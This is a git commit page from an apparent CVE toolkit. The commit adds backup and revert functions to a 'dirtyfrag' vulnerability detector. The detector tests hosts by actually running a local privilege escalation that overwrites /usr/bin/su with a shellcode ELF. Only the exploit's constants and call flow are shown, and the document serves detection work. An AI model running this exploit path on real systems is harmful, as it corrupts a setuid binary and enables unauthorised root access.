cve-toolkit

CVE helper toolkit
git clone git://git.finwo.net/app/cve-toolkit
Log | Files | Refs | README | LICENSE

commit 2dd7720d6294a48af6f227e6d4be2e5657b79933
parent 3266af10c9e7237e0d4b115dab6ad02de2e40ea6
Author: finwo <finwo@pm.me>
Date:   Fri,  8 May 2026 12:15:56 +0200

Add corrupt dirtyfrag reversal

Diffstat:
Msrc/detector/dirtyfrag.c | 103++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-
1 file changed, 102 insertions(+), 1 deletion(-)

diff --git a/src/detector/dirtyfrag.c b/src/detector/dirtyfrag.c @@ -10,6 +10,7 @@ #include <sys/syscall.h> #include <sys/types.h> #include <sys/socket.h> +#include <sys/stat.h> #include <sys/uio.h> #include <sys/ioctl.h> #include <sys/wait.h> @@ -35,6 +36,7 @@ #define SEQ_VAL 200 #define REPLAY_SEQ 100 #define TARGET_PATH "/usr/bin/su" +#define SU_BACKUP_PATH "/tmp/.dirtyfrag_su_backup" #define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] */ #define PAYLOAD_LEN 192 /* bytes of shell_elf to write (48 triggers) */ #define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */ @@ -288,6 +290,90 @@ static int verify_byte(const char *path, off_t offset, uint8_t want) return got == want ? 0 : -1; } +/* ------------------------------------------------------------------ */ +/* Backup / Revert for /usr/bin/su */ +/* */ +/* A copy of the original su binary is saved before any corruption. */ +/* revert_su() restores it (including drop_caches so the page cache */ +/* is re-read from disk), then removes the backup temp file. */ +/* ------------------------------------------------------------------ */ + +static int backup_su(void) +{ + struct stat st; + if (stat(SU_BACKUP_PATH, &st) == 0) { + SLOG("backup already exists at %s, skipping", SU_BACKUP_PATH); + return 0; + } + int src = open(TARGET_PATH, O_RDONLY); + if (src < 0) { + SLOG("backup_su: open(%s): %s", TARGET_PATH, strerror(errno)); + return -1; + } + int dst = open(SU_BACKUP_PATH, O_WRONLY | O_CREAT | O_EXCL, 0600); + if (dst < 0) { + SLOG("backup_su: open(%s): %s", SU_BACKUP_PATH, strerror(errno)); + close(src); + return -1; + } + char buf[4096]; + ssize_t n; + while ((n = read(src, buf, sizeof(buf))) > 0) { + if (write(dst, buf, n) != n) { + SLOG("backup_su: write failed: %s", strerror(errno)); + close(src); close(dst); + unlink(SU_BACKUP_PATH); + return -1; + } + } + close(src); + close(dst); + if (n < 0) { + SLOG("backup_su: read failed: %s", strerror(errno)); + unlink(SU_BACKUP_PATH); + return -1; + } + SLOG("backed up %s to %s", TARGET_PATH, SU_BACKUP_PATH); + return 0; +} + +static int revert_su(void) +{ + int src = open(SU_BACKUP_PATH, O_RDONLY); + if (src < 0) { + SLOG("revert_su: no backup at %s", SU_BACKUP_PATH); + return -1; + } + int dst = open(TARGET_PATH, O_WRONLY | O_TRUNC); + if (dst < 0) { + SLOG("revert_su: open(%s): %s", TARGET_PATH, strerror(errno)); + close(src); + return -1; + } + char buf[4096]; + ssize_t n; + while ((n = read(src, buf, sizeof(buf))) > 0) { + if (write(dst, buf, n) != n) { + SLOG("revert_su: write failed: %s", strerror(errno)); + close(src); close(dst); + return -1; + } + } + close(src); + close(dst); + if (n < 0) { + SLOG("revert_su: read failed: %s", strerror(errno)); + return -1; + } + /* Sync to disk and drop caches so the restored page cache is read */ + int sfd = open(TARGET_PATH, O_RDONLY); + if (sfd >= 0) { syncfs(sfd); close(sfd); } + write_proc("/proc/sys/vm/drop_caches", "1"); + unlink(SU_BACKUP_PATH); + SLOG("%s reverted from backup, page cache flushed", TARGET_PATH); + return 0; +} + static int corrupt_su(void) { setup_userns_netns(); @@ -324,14 +410,23 @@ static int corrupt_su(void) int su_lpe_main(int argc, char **argv) { + int revert_mode = 0; for (int i = 1; i < argc; i++) { if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose")) g_su_verbose = 1; else if (!strcmp(argv[i], "--corrupt-only")) ; /* compat: this body always corrupts only */ + else if (!strcmp(argv[i], "--revert")) + revert_mode = 1; } if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1; + if (revert_mode) + return revert_su() == 0 ? 0 : 1; + + /* Back up the original su binary before any corruption attempt. */ + backup_su(); + pid_t cpid = fork(); if (cpid < 0) return 1; if (cpid == 0) { @@ -1985,8 +2080,14 @@ int detector_dirtyfrag(int num) { { /* ESP / xfrm path */ char *argv[] = {"dirtyfrag", "--corrupt-only", NULL}; - if (su_lpe_main(2, argv) == 0 && detector_su_already_patched()) + if (su_lpe_main(2, argv) == 0 && detector_su_already_patched()) { + /* System is vulnerable — restore su before returning. */ + revert_su(); return 1; + } + /* Backup was created by su_lpe_main; restore su to its + * original state (harmless if the binary was never corrupted). */ + revert_su(); } { /* rxrpc / rxkad fallback */